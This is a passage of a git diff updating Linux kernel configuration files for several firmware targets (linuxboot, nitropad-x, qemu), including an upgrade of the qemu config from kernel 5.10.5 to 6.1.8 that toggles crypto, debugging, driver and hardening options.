CONFIG_CRYPTO_POLYVAL_CLMUL_NI is not set +# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_SHA1_SSSE3=y +CONFIG_CRYPTO_SHA256_SSSE3=y +CONFIG_CRYPTO_SHA512_SSSE3=y +# CONFIG_CRYPTO_SM3_AVX_X86_64 is not set +# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +CONFIG_CRYPTO_CRC32C_INTEL=y +# CONFIG_CRYPTO_CRC32_PCLMUL is not set +# end of Accelerated Cryptographic Algorithms for CPU (x86) + # CONFIG_CRYPTO_HW is not set # @@ -2904,7 +3160,6 @@ CONFIG_BITREVERSE=y CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_NET_UTILS=y -CONFIG_GENERIC_FIND_FIRST_BIT=y # CONFIG_CORDIC is not set # CONFIG_PRIME_NUMBERS is not set CONFIG_RATIONAL=y @@ -2913,9 +3168,26 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_UTILS=y +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA1=y +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set +# CONFIG_CRC64_ROCKSOFT is not set # CONFIG_CRC_ITU_T is not set CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set @@ -2937,6 +3209,7 @@ CONFIG_XZ_DEC_X86=y # CONFIG_XZ_DEC_ARM is not set # CONFIG_XZ_DEC_ARMTHUMB is not set # CONFIG_XZ_DEC_SPARC is not set +# CONFIG_XZ_DEC_MICROLZMA is not set CONFIG_XZ_DEC_BCJ=y # CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_XZ=y @@ -2954,6 +3227,7 @@ CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_SWIOTLB=y # CONFIG_DMA_API_DEBUG is not set CONFIG_SGL_ALLOC=y +# CONFIG_FORCE_NR_CPUS is not set CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_GLOB=y @@ -2974,7 +3248,6 @@ CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y CONFIG_ARCH_HAS_COPY_MC=y CONFIG_ARCH_STACKWALK=y CONFIG_SBITMAP=y -# CONFIG_STRING_SELFTEST is not set # end of Library routines # @@ -2986,6 +3259,7 @@ CONFIG_SBITMAP=y # CONFIG_PRINTK_TIME=y # CONFIG_PRINTK_CALLER is not set +# CONFIG_STACKTRACE_BUILD_ID is not set CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 CONFIG_CONSOLE_LOGLEVEL_QUIET=4 CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 @@ -2996,19 +3270,26 @@ CONFIG_SYMBOLIC_ERRNAME=y # CONFIG_DEBUG_BUGVERBOSE is not set # end of printk and dmesg options +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_MISC is not set + # # Compile-time checks and compiler options # -# CONFIG_DEBUG_INFO is not set -# CONFIG_ENABLE_MUST_CHECK is not set +CONFIG_AS_HAS_NON_CONST_LEB128=y +CONFIG_DEBUG_INFO_NONE=y +# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set +# CONFIG_DEBUG_INFO_DWARF4 is not set +# CONFIG_DEBUG_INFO_DWARF5 is not set CONFIG_FRAME_WARN=1024 # CONFIG_STRIP_ASM_SYMS is not set # CONFIG_READABLE_ASM is not set # CONFIG_HEADERS_INSTALL is not set # CONFIG_DEBUG_SECTION_MISMATCH is not set CONFIG_SECTION_MISMATCH_WARN_ONLY=y -# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_32B is not set -CONFIG_STACK_VALIDATION=y +# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set +CONFIG_OBJTOOL=y +# CONFIG_VMLINUX_MAP is not set # CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set # end of Compile-time checks and compiler options @@ -3027,22 +3308,28 @@ CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y CONFIG_HAVE_ARCH_KCSAN=y # end of Generic Kernel Debugging Instruments -CONFIG_DEBUG_KERNEL=y -# CONFIG_DEBUG_MISC is not set +# +# Networking Debugging +# +# CONFIG_NET_DEV_REFCNT_TRACKER is not set +# CONFIG_NET_NS_REFCNT_TRACKER is not set +# CONFIG_DEBUG_NET is not set +# end of Networking Debugging # # Memory Debugging # # CONFIG_PAGE_EXTENSION is not set # CONFIG_DEBUG_PAGEALLOC is not set +# CONFIG_SLUB_DEBUG is not set # CONFIG_PAGE_OWNER is not set +# CONFIG_PAGE_TABLE_CHECK is not set # CONFIG_PAGE_POISONING is not set # CONFIG_DEBUG_RODATA_TEST is not set CONFIG_ARCH_HAS_DEBUG_WX=y # CONFIG_DEBUG_WX is not set CONFIG_GENERIC_PTDUMP=y # CONFIG_DEBUG_OBJECTS is not set -# CONFIG_SLUB_STATS is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set # CONFIG_DEBUG_STACK_USAGE is not set @@ -3054,11 +3341,16 @@ CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y # CONFIG_DEBUG_VIRTUAL is not set # CONFIG_DEBUG_MEMORY_INIT is not set # CONFIG_DEBUG_PER_CPU_MAPS is not set +CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y +# CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set CONFIG_HAVE_ARCH_KASAN=y CONFIG_HAVE_ARCH_KASAN_VMALLOC=y CONFIG_CC_HAS_KASAN_GENERIC=y CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y # CONFIG_KASAN is not set +CONFIG_HAVE_ARCH_KFENCE=y +# CONFIG_KFENCE is not set +CONFIG_HAVE_ARCH_KMSAN=y # end of Memory Debugging # CONFIG_DEBUG_SHIRQ is not set @@ -3072,16 +3364,13 @@ CONFIG_PANIC_TIMEOUT=0 CONFIG_LOCKUP_DETECTOR=y CONFIG_SOFTLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0 CONFIG_HARDLOCKUP_DETECTOR_PERF=y CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y CONFIG_HARDLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=0 CONFIG_DETECT_HUNG_TASK=y CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 # CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set -CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0 CONFIG_WQ_WATCHDOG=y # CONFIG_TEST_LOCKUP is not set # end of Debug Oops, Lockups and Hangs @@ -3115,6 +3404,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_CSD_LOCK_WAIT_DEBUG is not set # end of Lock Debugging (spinlocks, mutexes, etc...) +# CONFIG_DEBUG_IRQFLAGS is not set # CONFIG_STACKTRACE is not set # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set # CONFIG_DEBUG_KOBJECT is not set @@ -3127,6 +3417,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set # CONFIG_BUG_ON_DATA_CORRUPTION is not set +# CONFIG_DEBUG_MAPLE_TREE is not set # end of Debug kernel data structures # CONFIG_DEBUG_CREDENTIALS is not set @@ -3138,36 +3429,40 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_RCU_TORTURE_TEST is not set # CONFIG_RCU_REF_SCALE_TEST is not set CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 # CONFIG_RCU_TRACE is not set # CONFIG_RCU_EQS_DEBUG is not set # end of RCU Debugging # CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set -# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set # CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set # CONFIG_LATENCYTOP is not set CONFIG_USER_STACKTRACE_SUPPORT=y +CONFIG_HAVE_RETHOOK=y CONFIG_HAVE_FUNCTION_TRACER=y -CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y CONFIG_HAVE_DYNAMIC_FTRACE=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y +CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y +CONFIG_HAVE_OBJTOOL_MCOUNT=y CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y CONFIG_TRACING_SUPPORT=y # CONFIG_FTRACE is not set # CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set # CONFIG_SAMPLES is not set +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y # CONFIG_STRICT_DEVMEM is not set # # x86 Debugging # -CONFIG_TRACE_IRQFLAGS_SUPPORT=y -CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y # CONFIG_X86_VERBOSE_BOOTUP is not set CONFIG_EARLY_PRINTK=y # CONFIG_EARLY_PRINTK_DBGP is not set @@ -3199,6 +3494,12 @@ CONFIG_ARCH_HAS_KCOV=y CONFIG_CC_HAS_SANCOV_TRACE_PC=y # CONFIG_KCOV is not set # CONFIG_RUNTIME_TESTING_MENU is not set +CONFIG_ARCH_USE_MEMTEST=y # CONFIG_MEMTEST is not set # end of Kernel Testing and Coverage + +# +# Rust hacking +# +# end of Rust hacking # end of Kernel hacking diff --git a/config/linux-linuxboot.config b/config/linux-linuxboot.config index 25b9963a0..31e7efb66 100644 --- a/config/linux-linuxboot.config +++ b/config/linux-linuxboot.config @@ -99,6 +99,7 @@ CONFIG_CGROUP_NET_CLASSID=y # CONFIG_UEVENT_HELPER is not set CONFIG_DEVTMPFS=y CONFIG_DEVTMPFS_MOUNT=y +# CONFIG_DEVTMPFS_SAFE is not set # CONFIG_STANDALONE is not set # CONFIG_FIRMWARE_IN_KERNEL is not set # CONFIG_ALLOW_DEV_COREDUMP is not set @@ -187,6 +188,7 @@ CONFIG_MLX4_EN=m # CONFIG_NET_VENDOR_SUN is not set # CONFIG_NET_VENDOR_TEHUTI is not set # CONFIG_NET_VENDOR_TI is not set +# CONFIG_NET_VENDOR_VERTEXCOM is not set # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set # CONFIG_NET_VENDOR_SYNOPSYS is not set diff --git a/config/linux-nitropad-x.config b/config/linux-nitropad-x.config index 8871b8bdc..021e9ba30 100644 --- a/config/linux-nitropad-x.config +++ b/config/linux-nitropad-x.config @@ -796,7 +796,7 @@ CONFIG_INET=y # CONFIG_IP_PNP is not set # CONFIG_NET_IPIP is not set # CONFIG_NET_IPGRE_DEMUX is not set -# CONFIG_SYN_COOKIES is not set +CONFIG_SYN_COOKIES=y # CONFIG_NET_IPVTI is not set # CONFIG_NET_FOU is not set # CONFIG_INET_AH is not set @@ -1321,7 +1321,7 @@ CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_AMD is not set # CONFIG_NET_VENDOR_AQUANTIA is not set # CONFIG_NET_VENDOR_ARC is not set -CONFIG_NET_VENDOR_ASIX=y +# CONFIG_NET_VENDOR_ASIX is not set # CONFIG_NET_VENDOR_ATHEROS is not set # CONFIG_CX_ECAT is not set # CONFIG_NET_VENDOR_BROADCOM is not set @@ -1330,16 +1330,14 @@ CONFIG_NET_VENDOR_ASIX=y # CONFIG_NET_VENDOR_CHELSIO is not set # CONFIG_NET_VENDOR_CISCO is not set # CONFIG_NET_VENDOR_CORTINA is not set -CONFIG_NET_VENDOR_DAVICOM=y +# CONFIG_NET_VENDOR_DAVICOM is not set # CONFIG_DNET is not set # CONFIG_NET_VENDOR_DEC is not set # CONFIG_NET_VENDOR_DLINK is not set # CONFIG_NET_VENDOR_EMULEX is not set -CONFIG_NET_VENDOR_ENGLEDER=y -# CONFIG_TSNEP is not set +# CONFIG_NET_VENDOR_ENGLEDER is not set # CONFIG_NET_VENDOR_EZCHIP is not set -CONFIG_NET_VENDOR_FUNGIBLE=y -# CONFIG_FUN_ETH is not set +# CONFIG_NET_VENDOR_FUNGIBLE is not set # CONFIG_NET_VENDOR_GOOGLE is not set # CONFIG_NET_VENDOR_HUAWEI is not set # CONFIG_NET_VENDOR_I825XX is not set @@ -1358,17 +1356,15 @@ CONFIG_E1000E_HWTS=y # CONFIG_ICE is not set # CONFIG_FM10K is not set # CONFIG_IGC is not set -CONFIG_NET_VENDOR_WANGXUN=y -# CONFIG_NGBE is not set -# CONFIG_TXGBE is not set +# CONFIG_NET_VENDOR_WANGXUN is not set # CONFIG_JME is not set -CONFIG_NET_VENDOR_LITEX=y +# CONFIG_NET_VENDOR_LITEX is not set # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set # CONFIG_NET_VENDOR_MICREL is not set # CONFIG_NET_VENDOR_MICROCHIP is not set # CONFIG_NET_VENDOR_MICROSEMI is not set -CONFIG_NET_VENDOR_MICROSOFT=y +# CONFIG_NET_VENDOR_MICROSOFT is not set # CONFIG_NET_VENDOR_MYRI is not set # CONFIG_FEALNX is not set # CONFIG_NET_VENDOR_NI is not set @@ -1399,7 +1395,7 @@ CONFIG_NET_VENDOR_MICROSOFT=y # CONFIG_NET_VENDOR_SYNOPSYS is not set # CONFIG_NET_VENDOR_TEHUTI is not set # CONFIG_NET_VENDOR_TI is not set -CONFIG_NET_VENDOR_VERTEXCOM=y +# CONFIG_NET_VENDOR_VERTEXCOM is not set # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set # CONFIG_NET_VENDOR_XILINX is not set @@ -1572,7 +1568,7 @@ CONFIG_SERIAL_8250_RUNTIME_UARTS=4 # CONFIG_SERIAL_8250_RT288X is not set # CONFIG_SERIAL_8250_LPSS is not set # CONFIG_SERIAL_8250_MID is not set -CONFIG_SERIAL_8250_PERICOM=y +# CONFIG_SERIAL_8250_PERICOM is not set # # Non-8250 serial port support @@ -2422,10 +2418,7 @@ CONFIG_SYNC_FILE=y # CONFIG_STAGING is not set # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set -CONFIG_SURFACE_PLATFORMS=y -# CONFIG_SURFACE_3_POWER_OPREGION is not set -# CONFIG_SURFACE_GPE is not set -# CONFIG_SURFACE_PRO3_BUTTON is not set +# CONFIG_SURFACE_PLATFORMS is not set CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_ACPI_WMI is not set # CONFIG_ACERHDF is not set @@ -2644,7 +2637,7 @@ CONFIG_LIBNVDIMM=y # CONFIG_BTT is not set # CONFIG_DAX is not set CONFIG_NVMEM=y -CONFIG_NVMEM_SYSFS=y +# CONFIG_NVMEM_SYSFS is not set # CONFIG_NVMEM_RMEM is not set # @@ -2892,7 +2885,7 @@ CONFIG_CRYPTO_SIMD=y # # Block ciphers # -# CONFIG_CRYPTO_AES is not set +CONFIG_CRYPTO_AES=y # CONFIG_CRYPTO_AES_TI is not set # CONFIG_CRYPTO_ARIA is not set # CONFIG_CRYPTO_BLOWFISH is not set diff --git a/config/linux-qemu.config b/config/linux-qemu.config index 113e0ae0a..a660b1639 100644 --- a/config/linux-qemu.config +++ b/config/linux-qemu.config @@ -1,17 +1,21 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 6.1.8 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 -CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 +CONFIG_LD_IS_BFD=y +CONFIG_LD_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y -CONFIG_CC_HAS_ASM_GOTO=y CONFIG_CC_HAS_ASM_INLINE=y +CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y +CONFIG_PAHOLE_VERSION=0 CONFIG_IRQ_WORK=y CONFIG_BUILDTIME_TABLE_SORT=y CONFIG_THREAD_INFO_IN_TASK=y @@ -21,6 +25,7 @@ CONFIG_THREAD_INFO_IN_TASK=y # CONFIG_INIT_ENV_ARG_LIMIT=32 # CONFIG_COMPILE_TEST is not set +# CONFIG_WERROR is not set CONFIG_LOCALVERSION="-@BRAND_NAME@" # CONFIG_LOCALVERSION_AUTO is not set CONFIG_BUILD_SALT="" @@ -40,7 +45,6 @@ CONFIG_KERNEL_XZ=y # CONFIG_KERNEL_ZSTD is not set CONFIG_DEFAULT_INIT="" CONFIG_DEFAULT_HOSTNAME="(none)" -# CONFIG_SWAP is not set # CONFIG_SYSVIPC is not set # CONFIG_POSIX_MQUEUE is not set # CONFIG_WATCH_QUEUE is not set @@ -80,6 +84,8 @@ CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y +CONFIG_CONTEXT_TRACKING=y +CONFIG_CONTEXT_TRACKING_IDLE=y # # Timers subsystem @@ -91,11 +97,26 @@ CONFIG_NO_HZ_IDLE=y # CONFIG_NO_HZ_FULL is not set # CONFIG_NO_HZ is not set # CONFIG_HIGH_RES_TIMERS is not set +CONFIG_CLOCKSOURCE_WATCHDOG_MAX_SKEW_US=100 # end of Timers subsystem +CONFIG_BPF=y +CONFIG_HAVE_EBPF_JIT=y +CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y + +# +# BPF subsystem +# +# CONFIG_BPF_SYSCALL is not set +# CONFIG_BPF_JIT is not set +# end of BPF subsystem + +CONFIG_PREEMPT_NONE_BUILD=y CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set +# CONFIG_PREEMPT_DYNAMIC is not set +# CONFIG_SCHED_CORE is not set # # CPU/Task time and stats accounting @@ -119,12 +140,12 @@ CONFIG_RCU_STALL_COMMON=y CONFIG_RCU_NEED_SEGCBLIST=y # end of RCU Subsystem -CONFIG_BUILD_BIN2C=y # CONFIG_IKCONFIG is not set # CONFIG_IKHEADERS is not set CONFIG_LOG_BUF_SHIFT=18 CONFIG_LOG_CPU_MAX_BUF_SHIFT=12 CONFIG_PRINTK_SAFE_LOG_BUF_SHIFT=13 +# CONFIG_PRINTK_INDEX is not set CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y # @@ -136,9 +157,13 @@ CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y CONFIG_CC_HAS_INT128=y +CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" +CONFIG_GCC11_NO_ARRAY_BOUNDS=y +CONFIG_GCC12_NO_ARRAY_BOUNDS=y CONFIG_ARCH_SUPPORTS_INT128=y CONFIG_CGROUPS=y CONFIG_PAGE_COUNTER=y +# CONFIG_CGROUP_FAVOR_DYNMODS is not set CONFIG_MEMCG=y CONFIG_MEMCG_KMEM=y CONFIG_BLK_CGROUP=y @@ -155,6 +180,7 @@ CONFIG_PROC_PID_CPUSET=y CONFIG_CGROUP_DEVICE=y CONFIG_CGROUP_CPUACCT=y CONFIG_CGROUP_PERF=y +# CONFIG_CGROUP_MISC is not set CONFIG_CGROUP_DEBUG=y # CONFIG_CHECKPOINT_RESTORE is not set # CONFIG_SCHED_AUTOGROUP is not set @@ -174,13 +200,13 @@ CONFIG_RD_XZ=y CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_INITRAMFS_COMPRESSION_NONE is not set # CONFIG_BOOT_CONFIG is not set +# CONFIG_INITRAMFS_PRESERVE_MTIME is not set # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y -CONFIG_BPF=y CONFIG_EXPERT=y # CONFIG_MULTIUSER is not set # CONFIG_SGETMASK_SYSCALL is not set @@ -188,7 +214,6 @@ CONFIG_EXPERT=y CONFIG_FHANDLE=y CONFIG_POSIX_TIMERS=y CONFIG_PRINTK=y -CONFIG_PRINTK_NMI=y CONFIG_BUG=y CONFIG_PCSPKR_PLATFORM=y # CONFIG_BASE_FULL is not set @@ -207,10 +232,8 @@ CONFIG_KALLSYMS=y # CONFIG_KALLSYMS_ALL is not set CONFIG_KALLSYMS_ABSOLUTE_PERCPU=y CONFIG_KALLSYMS_BASE_RELATIVE=y -# CONFIG_BPF_SYSCALL is not set -CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y -# CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +# CONFIG_KCMP is not set CONFIG_RSEQ=y # CONFIG_DEBUG_RSEQ is not set CONFIG_EMBEDDED=y @@ -224,18 +247,6 @@ CONFIG_PERF_EVENTS=y # CONFIG_DEBUG_PERF_USE_VMALLOC is not set # end of Kernel Performance Events And Counters -# CONFIG_VM_EVENT_COUNTERS is not set -# CONFIG_SLUB_DEBUG is not set -# CONFIG_SLUB_MEMCG_SYSFS_ON is not set -# CONFIG_COMPAT_BRK is not set -# CONFIG_SLAB is not set -CONFIG_SLUB=y -# CONFIG_SLOB is not set -CONFIG_SLAB_MERGE_DEFAULT=y -# CONFIG_SLAB_FREELIST_RANDOM is not set -# CONFIG_SLAB_FREELIST_HARDENED is not set -# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set -CONFIG_SLUB_CPU_PARTIAL=y # CONFIG_PROFILING is not set # end of General setup @@ -257,17 +268,10 @@ CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y -CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y -CONFIG_ARCH_HAS_FILTER_PGPROT=y -CONFIG_HAVE_SETUP_PER_CPU_AREA=y -CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y -CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y +CONFIG_ARCH_NR_GPIO=1024 CONFIG_ARCH_SUSPEND_POSSIBLE=y -CONFIG_ARCH_WANT_GENERAL_HUGETLB=y -CONFIG_ZONE_DMA32=y CONFIG_AUDIT_ARCH=y -CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y CONFIG_HAVE_INTEL_TXT=y CONFIG_X86_64_SMP=y CONFIG_ARCH_SUPPORTS_UPROBES=y @@ -278,13 +282,11 @@ CONFIG_CC_HAS_SANE_STACKPROTECTOR=y # # Processor type and features # -# CONFIG_ZONE_DMA is not set CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_X2APIC is not set # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -CONFIG_RETPOLINE=y # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -318,11 +320,13 @@ CONFIG_HPET_TIMER=y CONFIG_HPET_EMULATE_RTC=y CONFIG_DMI=y # CONFIG_GART_IOMMU is not set +CONFIG_BOOT_VESA_SUPPORT=y # CONFIG_MAXSMP is not set CONFIG_NR_CPUS_RANGE_BEGIN=2 CONFIG_NR_CPUS_RANGE_END=512 CONFIG_NR_CPUS_DEFAULT=64 CONFIG_NR_CPUS=64 +CONFIG_SCHED_CLUSTER=y CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_SCHED_MC_PRIO=y @@ -335,7 +339,6 @@ CONFIG_X86_MCE_INTEL=y CONFIG_X86_MCE_AMD=y CONFIG_X86_MCE_THRESHOLD=y # CONFIG_X86_MCE_INJECT is not set -CONFIG_X86_THERMAL_VECTOR=y # # Performance monitoring @@ -344,15 +347,16 @@ CONFIG_PERF_EVENTS_INTEL_UNCORE=y # CONFIG_PERF_EVENTS_INTEL_RAPL is not set CONFIG_PERF_EVENTS_INTEL_CSTATE=y # CONFIG_PERF_EVENTS_AMD_POWER is not set +CONFIG_PERF_EVENTS_AMD_UNCORE=y +# CONFIG_PERF_EVENTS_AMD_BRS is not set # end of Performance monitoring # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set CONFIG_MICROCODE=y CONFIG_MICROCODE_INTEL=y CONFIG_MICROCODE_AMD=y -# CONFIG_MICROCODE_OLD_INTERFACE is not set +# CONFIG_MICROCODE_LATE_LOADING is not set CONFIG_X86_MSR=y CONFIG_X86_CPUID=y # CONFIG_X86_5LEVEL is not set @@ -362,21 +366,19 @@ CONFIG_X86_DIRECT_GBPAGES=y # CONFIG_NUMA is not set CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y -CONFIG_ARCH_SELECT_MEMORY_MODEL=y CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 CONFIG_X86_PMEM_LEGACY_DEVICE=y CONFIG_X86_PMEM_LEGACY=y # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set -CONFIG_X86_RESERVE_LOW=64 CONFIG_MTRR=y CONFIG_MTRR_SANITIZER=y CONFIG_MTRR_SANITIZER_ENABLE_DEFAULT=0 CONFIG_MTRR_SANITIZER_SPARE_REG_NR_DEFAULT=1 CONFIG_X86_PAT=y CONFIG_ARCH_USES_PG_UNCACHED=y -CONFIG_ARCH_RANDOM=y -CONFIG_X86_SMAP=y CONFIG_X86_UMIP=y +CONFIG_CC_HAS_IBT=y +# CONFIG_X86_KERNEL_IBT is not set CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS=y CONFIG_X86_INTEL_TSX_MODE_OFF=y # CONFIG_X86_INTEL_TSX_MODE_ON is not set @@ -394,27 +396,40 @@ CONFIG_ARCH_HAS_KEXEC_PURGATORY=y # CONFIG_KEXEC_SIG is not set # CONFIG_CRASH_DUMP is not set CONFIG_PHYSICAL_START=0x1000000 -# CONFIG_RELOCATABLE is not set +CONFIG_RELOCATABLE=y +CONFIG_RANDOMIZE_BASE=y +CONFIG_X86_NEED_RELOCS=y CONFIG_PHYSICAL_ALIGN=0x1000000 +CONFIG_DYNAMIC_MEMORY_LAYOUT=y +CONFIG_RANDOMIZE_MEMORY=y +CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0 CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set -# CONFIG_LEGACY_VSYSCALL_EMULATE is not set # CONFIG_LEGACY_VSYSCALL_XONLY is not set CONFIG_LEGACY_VSYSCALL_NONE=y # CONFIG_CMDLINE_BOOL is not set # CONFIG_MODIFY_LDT_SYSCALL is not set +# CONFIG_STRICT_SIGALTSTACK_SIZE is not set CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_UNRET_ENTRY=y +CONFIG_CPU_IBPB_ENTRY=y +CONFIG_CPU_IBRS_ENTRY=y CONFIG_ARCH_HAS_ADD_PAGES=y -CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y -CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y # # Power management and ACPI options # # CONFIG_SUSPEND is not set +# CONFIG_HIBERNATION is not set # CONFIG_PM is not set # CONFIG_ENERGY_MODEL is not set CONFIG_ARCH_SUPPORTS_ACPI=y @@ -424,6 +439,7 @@ 